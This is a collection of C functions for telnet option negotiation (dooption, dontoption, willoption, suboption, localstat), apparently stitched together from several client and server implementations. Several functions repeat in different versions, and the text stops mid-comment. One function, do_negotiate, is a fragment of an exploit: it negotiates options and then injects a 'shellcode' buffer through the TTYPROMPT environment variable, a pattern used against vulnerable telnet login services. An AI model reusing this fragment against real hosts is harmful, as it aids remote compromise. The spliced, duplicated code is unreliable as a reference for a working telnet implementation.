static void dontoption(int option) { if (will_wont_resp[option]) { --will_wont_resp[option]; if (will_wont_resp[option] && my_state_is_wont(option)) --will_wont_resp[option]; } if ((will_wont_resp[option] == 0) && my_want_state_is_will(option)) { switch (option) { case TELOPT_LINEMODE: linemode = 0; /* put us back to the default state */ break; #ifdef OLD_ENVIRON case TELOPT_NEW_ENVIRON: /* * The new environ option wasn't recognized, try * the old one. */ send_will(TELOPT_OLD_ENVIRON, 1); telopt_environ = TELOPT_OLD_ENVIRON; break; #endif } /* we always accept a DONT */ set_my_want_state_wont(option); if (my_state_is_will(option)) send_wont(option, 0); setconnmode(0); /* Set new tty mode */ } set_my_state_wont(option); }
void tel_leave_binary(int rw) { if (rw&1) send_dont(TELOPT_BINARY, 1); if (rw&2) send_wont(TELOPT_BINARY, 1); }
void do_negotiate(int sock) { send_wont(sock, TELOPT_TTYPE); send_wont(sock, TELOPT_NAWS); send_wont(sock, TELOPT_LFLOW); send_wont(sock, TELOPT_LINEMODE); send_wont(sock, TELOPT_XDISPLOC); send_will(sock, TELOPT_LFLOW); send_will(sock, TELOPT_LINEMODE); send_wont(sock, TELOPT_OLD_ENVIRON); send_will(sock, TELOPT_NEW_ENVIRON); send_will(sock, TELOPT_BINARY); send_env(sock, "TTYPROMPT", shellcode); return; }
static void dontoption(int option) { if (will_wont_resp[option]) { --will_wont_resp[option]; if (will_wont_resp[option] && my_state_is_wont(option)) --will_wont_resp[option]; } if ((will_wont_resp[option] == 0) && my_want_state_is_will(option)) { switch (option) { case TELOPT_LINEMODE: linemode = 0; /* put us back to the default state */ break; } /* we always accept a DONT */ set_my_want_state_wont(option); if (my_state_is_will(option)) send_wont(option, 0); setconnmode(0); /* Set new tty mode */ } set_my_state_wont(option); }
static void suboption(void) { unsigned char subchar; printsub('<', subbuffer, SB_LEN()+2); switch (subchar = SB_GET()) { case TELOPT_TTYPE: if (my_want_state_is_wont(TELOPT_TTYPE)) return; if (SB_EOF() || SB_GET() != TELQUAL_SEND) { return; } else { const char *name; unsigned char temp[50]; int len; name = gettermname(); len = strlen(name) + 4 + 2; if (len < NETROOM()) { sprintf(temp, "%c%c%c%c%s%c%c", IAC, SB, TELOPT_TTYPE, TELQUAL_IS, name, IAC, SE); ring_supply_data(&netoring, temp, len); printsub('>', &temp[2], len-2); } else { ExitString("No room in buffer for terminal type.\n", 1); /*NOTREACHED*/ } } break; case TELOPT_TSPEED: if (my_want_state_is_wont(TELOPT_TSPEED)) return; if (SB_EOF()) return; if (SB_GET() == TELQUAL_SEND) { long ospeed, ispeed; unsigned char temp[50]; int len; TerminalSpeeds(&ispeed, &ospeed); sprintf((char *)temp, "%c%c%c%c%ld,%ld%c%c", IAC, SB, TELOPT_TSPEED, TELQUAL_IS, ospeed, ispeed, IAC, SE); len = strlen((char *)temp+4) + 4; /* temp[3] is 0 ... */ if (len < NETROOM()) { ring_supply_data(&netoring, temp, len); printsub('>', temp+2, len - 2); } /*@*/ else printf("lm_will: not enough room in buffer\n"); } break; case TELOPT_LFLOW: if (my_want_state_is_wont(TELOPT_LFLOW)) return; if (SB_EOF()) return; switch(SB_GET()) { case LFLOW_RESTART_ANY: restartany = 1; break; case LFLOW_RESTART_XON: restartany = 0; break; case LFLOW_ON: localflow = 1; break; case LFLOW_OFF: localflow = 0; break; default: return; } setcommandmode(); setconnmode(0); break; case TELOPT_LINEMODE: if (my_want_state_is_wont(TELOPT_LINEMODE)) return; if (SB_EOF()) return; switch (SB_GET()) { case WILL: lm_will(subpointer, SB_LEN()); break; case WONT: lm_wont(subpointer, SB_LEN()); break; case DO: lm_do(subpointer, SB_LEN()); break; case DONT: lm_dont(subpointer, SB_LEN()); break; case LM_SLC: slc(subpointer, SB_LEN()); break; case LM_MODE: lm_mode(subpointer, SB_LEN(), 0); break; default: break; } break; #ifdef OLD_ENVIRON case TELOPT_OLD_ENVIRON: #endif case TELOPT_NEW_ENVIRON: if (SB_EOF()) return; switch(SB_PEEK()) { case TELQUAL_IS: case TELQUAL_INFO: if (my_want_state_is_dont(subchar)) return; break; case TELQUAL_SEND: if (my_want_state_is_wont(subchar)) { return; } break; default: return; } env_opt(subpointer, SB_LEN()); break; case TELOPT_XDISPLOC: if (my_want_state_is_wont(TELOPT_XDISPLOC)) return; if (SB_EOF()) return; if (SB_GET() == TELQUAL_SEND) { unsigned char temp[50], *dp; int len; if ((dp = env_getvalue("DISPLAY")) == NULL || strlen(dp) > sizeof(temp) - 7) { /* * Something happened, we no longer have a DISPLAY * variable. Or it is too long. So, turn off the option. */ send_wont(TELOPT_XDISPLOC, 1); break; } snprintf(temp, sizeof(temp), "%c%c%c%c%s%c%c", IAC, SB, TELOPT_XDISPLOC, TELQUAL_IS, dp, IAC, SE); len = strlen((char *)temp+4) + 4; /* temp[3] is 0 ... */ if (len < NETROOM()) { ring_supply_data(&netoring, temp, len); printsub('>', temp+2, len - 2); } /*@*/ else printf("lm_will: not enough room in buffer\n"); } break; #ifdef AUTHENTICATION case TELOPT_AUTHENTICATION: { if (!autologin) break; if (SB_EOF()) return; switch(SB_GET()) { case TELQUAL_IS: if (my_want_state_is_dont(TELOPT_AUTHENTICATION)) return; auth_is(subpointer, SB_LEN()); break; case TELQUAL_SEND: if (my_want_state_is_wont(TELOPT_AUTHENTICATION)) return; auth_send(subpointer, SB_LEN()); break; case TELQUAL_REPLY: if (my_want_state_is_wont(TELOPT_AUTHENTICATION)) return; auth_reply(subpointer, SB_LEN()); break; case TELQUAL_NAME: if (my_want_state_is_dont(TELOPT_AUTHENTICATION)) return; auth_name(subpointer, SB_LEN()); break; } } break; #endif #ifdef ENCRYPTION case TELOPT_ENCRYPT: if (SB_EOF()) return; switch(SB_GET()) { case ENCRYPT_START: if (my_want_state_is_dont(TELOPT_ENCRYPT)) return; encrypt_start(subpointer, SB_LEN()); break; case ENCRYPT_END: if (my_want_state_is_dont(TELOPT_ENCRYPT)) return; encrypt_end(); break; case ENCRYPT_SUPPORT: if (my_want_state_is_wont(TELOPT_ENCRYPT)) return; encrypt_support(subpointer, SB_LEN()); break; case ENCRYPT_REQSTART: if (my_want_state_is_wont(TELOPT_ENCRYPT)) return; encrypt_request_start(subpointer, SB_LEN()); break; case ENCRYPT_REQEND: if (my_want_state_is_wont(TELOPT_ENCRYPT)) return; /* * We can always send an REQEND so that we cannot * get stuck encrypting. We should only get this * if we have been able to get in the correct mode * anyhow. */ encrypt_request_end(); break; case ENCRYPT_IS: if (my_want_state_is_dont(TELOPT_ENCRYPT)) return; encrypt_is(subpointer, SB_LEN()); break; case ENCRYPT_REPLY: if (my_want_state_is_wont(TELOPT_ENCRYPT)) return; encrypt_reply(subpointer, SB_LEN()); break; case ENCRYPT_ENC_KEYID: if (my_want_state_is_dont(TELOPT_ENCRYPT)) return; encrypt_enc_keyid(subpointer, SB_LEN()); break; case ENCRYPT_DEC_KEYID: if (my_want_state_is_wont(TELOPT_ENCRYPT)) return; encrypt_dec_keyid(subpointer, SB_LEN()); break; default: break; } break; #endif /* ENCRYPTION */ default: break; } }
static void dooption(int option) { int new_state_ok = 0; if (will_wont_resp[option]) { --will_wont_resp[option]; if (will_wont_resp[option] && my_state_is_will(option)) --will_wont_resp[option]; } if (will_wont_resp[option] == 0) { if (my_want_state_is_wont(option)) { switch (option) { case TELOPT_TM: /* * Special case for TM. We send a WILL, but pretend * we sent WONT. */ send_will(option, 0); set_my_want_state_wont(TELOPT_TM); set_my_state_wont(TELOPT_TM); return; case TELOPT_BINARY: /* binary mode */ case TELOPT_NAWS: /* window size */ case TELOPT_TSPEED: /* terminal speed */ case TELOPT_LFLOW: /* local flow control */ case TELOPT_TTYPE: /* terminal type option */ case TELOPT_SGA: /* no big deal */ #ifdef ENCRYPTION case TELOPT_ENCRYPT: /* encryption variable option */ #endif /* ENCRYPTION */ new_state_ok = 1; break; case TELOPT_NEW_ENVIRON: /* New environment variable option */ #ifdef OLD_ENVIRON if (my_state_is_will(TELOPT_OLD_ENVIRON)) send_wont(TELOPT_OLD_ENVIRON, 1); /* turn off the old */ goto env_common; case TELOPT_OLD_ENVIRON: /* Old environment variable option */ if (my_state_is_will(TELOPT_NEW_ENVIRON)) break; /* Don't enable if new one is in use! */ env_common: telopt_environ = option; #endif new_state_ok = 1; break; #ifdef AUTHENTICATION case TELOPT_AUTHENTICATION: if (autologin) new_state_ok = 1; break; #endif case TELOPT_XDISPLOC: /* X Display location */ if (env_getvalue("DISPLAY")) new_state_ok = 1; break; case TELOPT_LINEMODE: #ifdef KLUDGELINEMODE kludgelinemode = 0; send_do(TELOPT_SGA, 1); #endif set_my_want_state_will(TELOPT_LINEMODE); send_will(option, 0); set_my_state_will(TELOPT_LINEMODE); slc_init(); return; case TELOPT_ECHO: /* We're never going to echo... */ default: break; } if (new_state_ok) { set_my_want_state_will(option); send_will(option, 0); setconnmode(0); /* Set new tty mode */ } else { will_wont_resp[option]++; send_wont(option, 0); } } else { /* * Handle options that need more things done after the * other side has acknowledged the option. */ switch (option) { case TELOPT_LINEMODE: #ifdef KLUDGELINEMODE kludgelinemode = 0; send_do(TELOPT_SGA, 1); #endif set_my_state_will(option); slc_init(); send_do(TELOPT_SGA, 0); return; } } } set_my_state_will(option); }
/* * localstat * * This function handles all management of linemode. * * Linemode allows the client to do the local editing of data * and send only complete lines to the server. Linemode state is * based on the state of the pty driver. If the pty is set for * external processing, then we can use linemode. Further, if we * can use real linemode, then we can look at the edit control bits * in the pty to determine what editing the client should do. * * Linemode support uses the following state flags to keep track of * current and desired linemode state. * alwayslinemode : true if -l was specified on the telnetd * command line. It means to have linemode on as much as * possible. * * lmodetype: signifies whether the client can * handle real linemode, or if use of kludgeomatic linemode * is preferred. It will be set to one of the following: * REAL_LINEMODE : use linemode option * NO_KLUDGE : don't initiate kludge linemode. * KLUDGE_LINEMODE : use kludge linemode * NO_LINEMODE : client is ignorant of linemode * * linemode, uselinemode : linemode is true if linemode * is currently on, uselinemode is the state that we wish * to be in. If another function wishes to turn linemode * on or off, it sets or clears uselinemode. * * editmode, useeditmode : like linemode/uselinemode, but * these contain the edit mode states (edit and trapsig). * * The state variables correspond to some of the state information * in the pty. * linemode: * In real linemode, this corresponds to whether the pty * expects external processing of incoming data. * In kludge linemode, this more closely corresponds to the * whether normal processing is on or not. (ICANON in * system V, or COOKED mode in BSD.) * If the -l option was specified (alwayslinemode), then * an attempt is made to force external processing on at * all times. * * The following heuristics are applied to determine linemode * handling within the server. * 1) Early on in starting up the server, an attempt is made * to negotiate the linemode option. If this succeeds * then lmodetype is set to REAL_LINEMODE and all linemode * processing occurs in the context of the linemode option. * 2) If the attempt to negotiate the linemode option failed, * and the "-k" (don't initiate kludge linemode) isn't set, * then we try to use kludge linemode. We test for this * capability by sending "do Timing Mark". If a positive * response comes back, then we assume that the client * understands kludge linemode (ech!) and the * lmodetype flag is set to KLUDGE_LINEMODE. * 3) Otherwise, linemode is not supported at all and * lmodetype remains set to NO_LINEMODE (which happens * to be 0 for convenience). * 4) At any time a command arrives that implies a higher * state of linemode support in the client, we move to that * linemode support. * * A short explanation of kludge linemode is in order here. * 1) The heuristic to determine support for kludge linemode * is to send a do timing mark. We assume that a client * that supports timing marks also supports kludge linemode. * A risky proposition at best. * 2) Further negotiation of linemode is done by changing the * the server's state regarding SGA. If server will SGA, * then linemode is off, if server won't SGA, then linemode * is on. */ void localstat(void) { int need_will_echo = 0; /* * Check for changes to flow control if client supports it. */ flowstat(); /* * Check linemode on/off state */ uselinemode = tty_linemode(); /* * If alwayslinemode is on, and pty is changing to turn it off, then * force linemode back on. */ if (alwayslinemode && linemode && !uselinemode) { uselinemode = 1; tty_setlinemode(uselinemode); } if (uselinemode) { /* * Check for state of BINARY options. * * We only need to do the binary dance if we are actually going * to use linemode. As this confuses some telnet clients * that don't support linemode, and doesn't gain us * anything, we don't do it unless we're doing linemode. * -Crh ([email protected]) */ if (tty_isbinaryin()) { if (his_want_state_is_wont(TELOPT_BINARY)) send_do(TELOPT_BINARY, 1); } else { if (his_want_state_is_will(TELOPT_BINARY)) send_dont(TELOPT_BINARY, 1); } if (tty_isbinaryout()) { if (my_want_state_is_wont(TELOPT_BINARY)) send_will(TELOPT_BINARY, 1); } else { if (my_want_state_is_will(TELOPT_BINARY)) send_wont(TELOPT_BINARY, 1); } } #ifdef ENCRYPTION /* * If the terminal is not echoing, but editing is enabled, * something like password input is going to happen, so * if we the other side is not currently sending encrypted * data, ask the other side to start encrypting. */ if (his_state_is_will(TELOPT_ENCRYPT)) { static int enc_passwd = 0; if (uselinemode && !tty_isecho() && tty_isediting() && (enc_passwd == 0) && !decrypt_input) { encrypt_send_request_start(); enc_passwd = 1; } else if (enc_passwd) { encrypt_send_request_end(); enc_passwd = 0; } } #endif /* ENCRYPTION */ /* * Do echo mode handling as soon as we know what the * linemode is going to be. * If the pty has echo turned off, then tell the client that * the server will echo. If echo is on, then the server * will echo if in character mode, but in linemode the * client should do local echoing. The state machine will * not send anything if it is unnecessary, so don't worry * about that here. * * If we need to send the WILL ECHO (because echo is off), * then delay that until after we have changed the MODE. * This way, when the user is turning off both editing * and echo, the client will get editing turned off first. * This keeps the client from going into encryption mode * and then right back out if it is doing auto-encryption * when passwords are being typed. */ if (uselinemode) { if (tty_isecho()) send_wont(TELOPT_ECHO, 1); else need_will_echo = 1; #ifdef KLUDGELINEMODE if (lmodetype == KLUDGE_OK) lmodetype = KLUDGE_LINEMODE; #endif } /* * If linemode is being turned off, send appropriate * command and then we're all done. */ if (!uselinemode && linemode) { # ifdef KLUDGELINEMODE if (lmodetype == REAL_LINEMODE) { # endif /* KLUDGELINEMODE */ send_dont(TELOPT_LINEMODE, 1); # ifdef KLUDGELINEMODE } else if (lmodetype == KLUDGE_LINEMODE) send_will(TELOPT_SGA, 1); # endif /* KLUDGELINEMODE */ send_will(TELOPT_ECHO, 1); linemode = uselinemode; goto done; } # ifdef KLUDGELINEMODE /* * If using real linemode check edit modes for possible later use. * If we are in kludge linemode, do the SGA negotiation. */ if (lmodetype == REAL_LINEMODE) { # endif /* KLUDGELINEMODE */ useeditmode = 0; if (tty_isediting()) useeditmode |= MODE_EDIT; if (tty_istrapsig()) useeditmode |= MODE_TRAPSIG; if (tty_issofttab()) useeditmode |= MODE_SOFT_TAB; if (tty_islitecho()) useeditmode |= MODE_LIT_ECHO; # ifdef KLUDGELINEMODE } else if (lmodetype == KLUDGE_LINEMODE) { if (tty_isediting() && uselinemode) send_wont(TELOPT_SGA, 1); else send_will(TELOPT_SGA, 1); } # endif /* KLUDGELINEMODE */ /* * Negotiate linemode on if pty state has changed to turn it on. * Send appropriate command and send along edit mode, then all done. */ if (uselinemode && !linemode) { # ifdef KLUDGELINEMODE if (lmodetype == KLUDGE_LINEMODE) { send_wont(TELOPT_SGA, 1); } else if (lmodetype == REAL_LINEMODE) { # endif /* KLUDGELINEMODE */ send_do(TELOPT_LINEMODE, 1); /* send along edit modes */ output_data("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE, LM_MODE, useeditmode, IAC, SE); editmode = useeditmode; # ifdef KLUDGELINEMODE } # endif /* KLUDGELINEMODE */ linemode = uselinemode; goto done; } # ifdef KLUDGELINEMODE /* * None of what follows is of any value if not using * real linemode. */ if (lmodetype < REAL_LINEMODE) goto done; # endif /* KLUDGELINEMODE */ if (linemode && his_state_is_will(TELOPT_LINEMODE)) { /* * If edit mode changed, send edit mode. */ if (useeditmode != editmode) { /* * Send along appropriate edit mode mask. */ output_data("%c%c%c%c%c%c%c", IAC, SB, TELOPT_LINEMODE, LM_MODE, useeditmode, IAC, SE); editmode = useeditmode; } /* * Check for changes to special characters in use. */ start_slc(0); check_slc(); (void) end_slc(0); } done: if (need_will_echo) send_will(TELOPT_ECHO, 1); /* * Some things should be deferred until after the pty state has * been set by the local process. Do those things that have been * deferred now. This only happens once. */ if (_terminit == 0) { _terminit = 1; defer_terminit(); } netflush(); set_termbuf(); return; } /* end of localstat */
void dontoption(int option) { /* * Process client input. */ DIAG(TD_OPTIONS, printoption("td: recv dont", option)); if (will_wont_resp[option]) { will_wont_resp[option]--; if (will_wont_resp[option] && my_state_is_wont(option)) will_wont_resp[option]--; } if ((will_wont_resp[option] == 0) && (my_want_state_is_will(option))) { switch (option) { case TELOPT_BINARY: init_termbuf(); tty_binaryout(0); set_termbuf(); break; case TELOPT_ECHO: /* we should stop echoing */ #ifdef LINEMODE #ifdef KLUDGELINEMODE if (lmodetype == NO_LINEMODE) #else if (his_state_is_wont(TELOPT_LINEMODE)) #endif #endif { init_termbuf(); tty_setecho(0); set_termbuf(); } break; case TELOPT_SGA: #if defined(LINEMODE) && defined(KLUDGELINEMODE) /* * If kludge linemode is in use, then we * must process an incoming do SGA for * linemode purposes. */ if (lmodetype == KLUDGE_LINEMODE) { /* * The client is asking us to turn * linemode on. */ clientstat(TELOPT_LINEMODE, WILL, 0); /* * If we did not turn line mode on, * then what do we say? Will SGA? * This violates design of telnet. * Gross. Very Gross. */ } break; #else set_my_want_state_wont(option); if (my_state_is_will(option)) send_wont(option, 0); set_my_state_wont(option); if (turn_on_sga ^= 1) send_will(option,1); return; #endif /* defined(LINEMODE) && defined(KLUDGELINEMODE) */ default: break; } set_my_want_state_wont(option); if (my_state_is_will(option)) send_wont(option, 0); } set_my_state_wont(option); }
void dooption(int option) { int changeok = 0; /* * Process client input. */ DIAG(TD_OPTIONS, printoption("td: recv do", option)); if (will_wont_resp[option]) { will_wont_resp[option]--; if (will_wont_resp[option] && my_state_is_will(option)) will_wont_resp[option]--; } if ((will_wont_resp[option] == 0) && (my_want_state_is_wont(option))) { switch (option) { case TELOPT_ECHO: #ifdef LINEMODE #ifdef KLUDGELINEMODE if (lmodetype == NO_LINEMODE) #else if (his_state_is_wont(TELOPT_LINEMODE)) #endif #endif { init_termbuf(); tty_setecho(1); set_termbuf(); } changeok++; break; case TELOPT_BINARY: init_termbuf(); tty_binaryout(1); set_termbuf(); changeok++; break; case TELOPT_SGA: #if defined(LINEMODE) && defined(KLUDGELINEMODE) /* * If kludge linemode is in use, then we must * process an incoming do SGA for linemode * purposes. */ if (lmodetype == KLUDGE_LINEMODE) { /* * Receipt of "do SGA" in kludge * linemode is the peer asking us to * turn off linemode. Make note of * the request. */ clientstat(TELOPT_LINEMODE, WONT, 0); /* * If linemode did not get turned off * then don't tell peer that we did. * Breaking here forces a wont SGA to * be returned. */ if (linemode) break; } #else turn_on_sga = 0; #endif /* defined(LINEMODE) && defined(KLUDGELINEMODE) */ changeok++; break; case TELOPT_STATUS: changeok++; break; case TELOPT_TM: /* * Special case for TM. We send a WILL, but * pretend we sent a WONT. */ send_will(option, 0); set_my_want_state_wont(option); set_my_state_wont(option); return; case TELOPT_LOGOUT: /* * When we get a LOGOUT option, respond * with a WILL LOGOUT, make sure that * it gets written out to the network, * and then just go away... */ set_my_want_state_will(TELOPT_LOGOUT); send_will(TELOPT_LOGOUT, 0); set_my_state_will(TELOPT_LOGOUT); (void)netflush(); cleanup(0); /* NOT REACHED */ break; #if defined(ENCRYPT) case TELOPT_ENCRYPT: changeok++; break; #endif case TELOPT_LINEMODE: case TELOPT_TTYPE: case TELOPT_NAWS: case TELOPT_TSPEED: case TELOPT_LFLOW: case TELOPT_XDISPLOC: case TELOPT_ENVIRON: default: break; } if (changeok) { set_my_want_state_will(option); send_will(option, 0); } else { will_wont_resp[option]++; send_wont(option, 0); } } set_my_state_will(option); }
void willoption(int option) { int changeok = 0; void (*func)(void) = 0; /* * process input from peer. */ DIAG(TD_OPTIONS, printoption("td: recv will", option)); if (do_dont_resp[option]) { do_dont_resp[option]--; if (do_dont_resp[option] && his_state_is_will(option)) do_dont_resp[option]--; } if (do_dont_resp[option] == 0) { if (his_want_state_is_wont(option)) { switch (option) { case TELOPT_BINARY: init_termbuf(); tty_binaryin(1); set_termbuf(); changeok++; break; case TELOPT_ECHO: /* * See comments below for more info. */ not42 = 0; /* looks like a 4.2 system */ break; case TELOPT_TM: #if defined(LINEMODE) && defined(KLUDGELINEMODE) /* * This telnetd implementation does not really * support timing marks, it just uses them to * support the kludge linemode stuff. If we * receive a will or wont TM in response to our * do TM request that may have been sent to * determine kludge linemode support, process * it, otherwise TM should get a negative * response back. */ /* * Handle the linemode kludge stuff. * If we are not currently supporting any * linemode at all, then we assume that this * is the client telling us to use kludge * linemode in response to our query. Set the * linemode type that is to be supported, note * that the client wishes to use linemode, and * eat the will TM as though it never arrived. */ if (lmodetype < KLUDGE_LINEMODE) { lmodetype = KLUDGE_LINEMODE; clientstat(TELOPT_LINEMODE, WILL, 0); send_wont(TELOPT_SGA, 1); } #endif /* defined(LINEMODE) && defined(KLUDGELINEMODE) */ /* * We never respond to a WILL TM, and * we leave the state WONT. */ return; case TELOPT_LFLOW: /* * If we are going to support flow control * option, then don't worry peer that we can't * change the flow control characters. */ slctab[SLC_XON].defset.flag &= ~SLC_LEVELBITS; slctab[SLC_XON].defset.flag |= SLC_DEFAULT; slctab[SLC_XOFF].defset.flag &= ~SLC_LEVELBITS; slctab[SLC_XOFF].defset.flag |= SLC_DEFAULT; case TELOPT_TTYPE: case TELOPT_SGA: case TELOPT_NAWS: case TELOPT_TSPEED: case TELOPT_XDISPLOC: case TELOPT_ENVIRON: changeok++; break; #ifdef LINEMODE case TELOPT_LINEMODE: #ifdef KLUDGELINEMODE /* * Note client's desire to use linemode. */ lmodetype = REAL_LINEMODE; #endif /* KLUDGELINEMODE */ func = doclientstat; changeok++; break; #endif /* LINEMODE */ #ifdef AUTHENTICATE case TELOPT_AUTHENTICATION: func = auth_request; changeok++; break; #endif #ifdef ENCRYPT case TELOPT_ENCRYPT: func = encrypt_send_support; changeok++; break; #endif default: break; } if (changeok) { set_his_want_state_will(option); send_do(option, 0); } else { do_dont_resp[option]++; send_dont(option, 0); } } else { /* * Option processing that should happen when * we receive conformation of a change in * state that we had requested. */ switch (option) { case TELOPT_ECHO: not42 = 0; /* looks like a 4.2 system */ /* * Egads, he responded "WILL ECHO". Turn * it off right now! */ send_dont(option, 1); /* * "WILL ECHO". Kludge upon kludge! * A 4.2 client is now echoing user input at * the tty. This is probably undesireable and * it should be stopped. The client will * respond WONT TM to the DO TM that we send to * check for kludge linemode. When the WONT TM * arrives, linemode will be turned off and a * change propogated to the pty. This change * will cause us to process the new pty state * in localstat(), which will notice that * linemode is off and send a WILL ECHO * so that we are properly in character mode and * all is well. */ break; #ifdef LINEMODE case TELOPT_LINEMODE: # ifdef KLUDGELINEMODE /* * Note client's desire to use linemode. */ lmodetype = REAL_LINEMODE; # endif /* KLUDGELINEMODE */ func = doclientstat; break; #endif /* LINEMODE */ #ifdef AUTHENTICATE case TELOPT_AUTHENTICATION: func = auth_request; break; #endif #ifdef ENCRYPT case TELOPT_ENCRYPT: func = encrypt_send_support; break; #endif } } } set_his_state_will(option); if (func) (*func)(); }
static void suboption(void) { unsigned char subchar; printsub('<', subbuffer, SB_LEN()+2); switch (subchar = SB_GET()) { case TELOPT_TTYPE: if (my_want_state_is_wont(TELOPT_TTYPE)) return; if (SB_EOF() || SB_GET() != TELQUAL_SEND) { return; } else { char *name; unsigned char temp[50]; int len; name = gettermname(); len = strlen(name) + 4 + 2; if (len < NETROOM()) { snprintf((char *)temp, sizeof(temp), "%c%c%c%c%s%c%c", IAC, SB, TELOPT_TTYPE, TELQUAL_IS, name, IAC, SE); ring_supply_data(&netoring, temp, len); printsub('>', &temp[2], len-2); } else ExitString("No room in buffer for terminal type.\n", 1); } break; case TELOPT_TSPEED: if (my_want_state_is_wont(TELOPT_TSPEED)) return; if (SB_EOF()) return; if (SB_GET() == TELQUAL_SEND) { long ospeed, ispeed; unsigned char temp[50]; int len; TerminalSpeeds(&ispeed, &ospeed); snprintf((char *)temp, sizeof(temp), "%c%c%c%c%ld,%ld%c%c", IAC, SB, TELOPT_TSPEED, TELQUAL_IS, ospeed, ispeed, IAC, SE); len = strlen((char *)temp+4) + 4; /* temp[3] is 0 ... */ if (len < NETROOM()) { ring_supply_data(&netoring, temp, len); printsub('>', temp+2, len - 2); } /*@*/ else printf("lm_will: not enough room in buffer\n"); } break; case TELOPT_LFLOW: if (my_want_state_is_wont(TELOPT_LFLOW)) return; if (SB_EOF()) return; switch(SB_GET()) { case LFLOW_RESTART_ANY: restartany = 1; break; case LFLOW_RESTART_XON: restartany = 0; break; case LFLOW_ON: localflow = 1; break; case LFLOW_OFF: localflow = 0; break; default: return; } setcommandmode(); setconnmode(0); break; case TELOPT_LINEMODE: if (my_want_state_is_wont(TELOPT_LINEMODE)) return; if (SB_EOF()) return; switch (SB_GET()) { case WILL: lm_will(subpointer, SB_LEN()); break; case WONT: lm_wont(subpointer, SB_LEN()); break; case DO: lm_do(subpointer, SB_LEN()); break; case DONT: lm_dont(subpointer, SB_LEN()); break; case LM_SLC: slc(subpointer, SB_LEN()); break; case LM_MODE: lm_mode(subpointer, SB_LEN(), 0); break; default: break; } break; case TELOPT_NEW_ENVIRON: if (SB_EOF()) return; switch(SB_PEEK()) { case TELQUAL_IS: case TELQUAL_INFO: if (my_want_state_is_dont(subchar)) return; break; case TELQUAL_SEND: if (my_want_state_is_wont(subchar)) { return; } break; default: return; } env_opt(subpointer, SB_LEN()); break; case TELOPT_XDISPLOC: if (my_want_state_is_wont(TELOPT_XDISPLOC)) return; if (SB_EOF()) return; if (SB_GET() == TELQUAL_SEND) { unsigned char temp[50], *dp; int len; if ((dp = env_getvalue("DISPLAY", 0)) == NULL) { /* * Something happened, we no longer have a DISPLAY * variable. So, turn off the option. */ send_wont(TELOPT_XDISPLOC, 1); break; } snprintf((char *)temp, sizeof(temp), "%c%c%c%c%s%c%c", IAC, SB, TELOPT_XDISPLOC, TELQUAL_IS, dp, IAC, SE); len = strlen((char *)temp+4) + 4; /* temp[3] is 0 ... */ if (len < NETROOM()) { ring_supply_data(&netoring, temp, len); printsub('>', temp+2, len - 2); } /*@*/ else printf("lm_will: not enough room in buffer\n"); } break; default: break; } }
/* * localstat * * This function handles all management of linemode. * * Linemode allows the client to do the local editing of data * and send only complete lines to the server. Linemode state is * based on the state of the pty driver. If the pty is set for * external processing, then we can use linemode. Further, if we * can use real linemode, then we can look at the edit control bits * in the pty to determine what editing the client should do. * * Linemode support uses the following state flags to keep track of * current and desired linemode state. * alwayslinemode : true if -l was specified on the telnetd * command line. It means to have linemode on as much as * possible. * * lmodetype: signifies whether the client can * handle real linemode, or if use of kludgeomatic linemode * is preferred. It will be set to one of the following: * REAL_LINEMODE : use linemode option * NO_KLUDGE : don't initiate kludge linemode. * KLUDGE_LINEMODE : use kludge linemode * NO_LINEMODE : client is ignorant of linemode * * linemode, uselinemode : linemode is true if linemode * is currently on, uselinemode is the state that we wish * to be in. If another function wishes to turn linemode * on or off, it sets or clears uselinemode. * * editmode, useeditmode : like linemode/uselinemode, but * these contain the edit mode states (edit and trapsig). * * The state variables correspond to some of the state information * in the pty. * linemode: * In real linemode, this corresponds to whether the pty * expects external processing of incoming data. * In kludge linemode, this more closely corresponds to the * whether normal processing is on or not. (ICANON in * system V, or COOKED mode in BSD.) * If the -l option was specified (alwayslinemode), then * an attempt is made to force external processing on at * all times. * * The following heuristics are applied to determine linemode * handling within the server. * 1) Early on in starting up the server, an attempt is made * to negotiate the linemode option. If this succeeds * then lmodetype is set to REAL_LINEMODE and all linemode * processing occurs in the context of the linemode option. * 2) If the attempt to negotiate the linemode option failed, * and the "-k" (don't initiate kludge linemode) isn't set, * then we try to use kludge linemode. We test for this * capability by sending "do Timing Mark". If a positive * response comes back, then we assume that the client * understands kludge linemode (ech!) and the * lmodetype flag is set to KLUDGE_LINEMODE. * 3) Otherwise, linemode is not supported at all and * lmodetype remains set to NO_LINEMODE (which happens * to be 0 for convenience). * 4) At any time a command arrives that implies a higher * state of linemode support in the client, we move to that * linemode support. * * A short explanation of kludge linemode is in order here. * 1) The heuristic to determine support for kludge linemode * is to send a do timing mark. We assume that a client * that supports timing marks also supports kludge linemode. * A risky proposition at best. * 2) Further negotiation of linemode is done by changing the * the server's state regarding SGA. If server will SGA, * then linemode is off, if server won't SGA, then linemode * is on. */ void localstat() { int need_will_echo = 0; #if defined(CRAY2) && defined(UNICOS5) /* * Keep track of that ol' CR/NL mapping while we're in the * neighborhood. */ newmap = tty_isnewmap(); #endif /* defined(CRAY2) && defined(UNICOS5) */ /* * Check for state of BINARY options. */ if (tty_isbinaryin()) { if (his_want_state_is_wont(TELOPT_BINARY)) send_do(TELOPT_BINARY, 1); } else { if (his_want_state_is_will(TELOPT_BINARY)) send_dont(TELOPT_BINARY, 1); } if (tty_isbinaryout()) { if (my_want_state_is_wont(TELOPT_BINARY)) send_will(TELOPT_BINARY, 1); } else { if (my_want_state_is_will(TELOPT_BINARY)) send_wont(TELOPT_BINARY, 1); } /* * Check for changes to flow control if client supports it. */ flowstat(); /* * Check linemode on/off state */ uselinemode = tty_linemode(); /* * If alwayslinemode is on, and pty is changing to turn it off, then * force linemode back on. */ if (alwayslinemode && linemode && !uselinemode) { uselinemode = 1; tty_setlinemode(uselinemode); } /* * Do echo mode handling as soon as we know what the * linemode is going to be. * If the pty has echo turned off, then tell the client that * the server will echo. If echo is on, then the server * will echo if in character mode, but in linemode the * client should do local echoing. The state machine will * not send anything if it is unnecessary, so don't worry * about that here. * * If we need to send the WILL ECHO (because echo is off), * then delay that until after we have changed the MODE. * This way, when the user is turning off both editing * and echo, the client will get editing turned off first. * This keeps the client from going into encryption mode * and then right back out if it is doing auto-encryption * when passwords are being typed. */ if (uselinemode) { if (tty_isecho()) send_wont(TELOPT_ECHO, 1); else need_will_echo = 1; #ifdef KLUDGELINEMODE if (lmodetype == KLUDGE_OK) lmodetype = KLUDGE_LINEMODE; #endif } /* * If linemode is being turned off, send appropriate * command and then 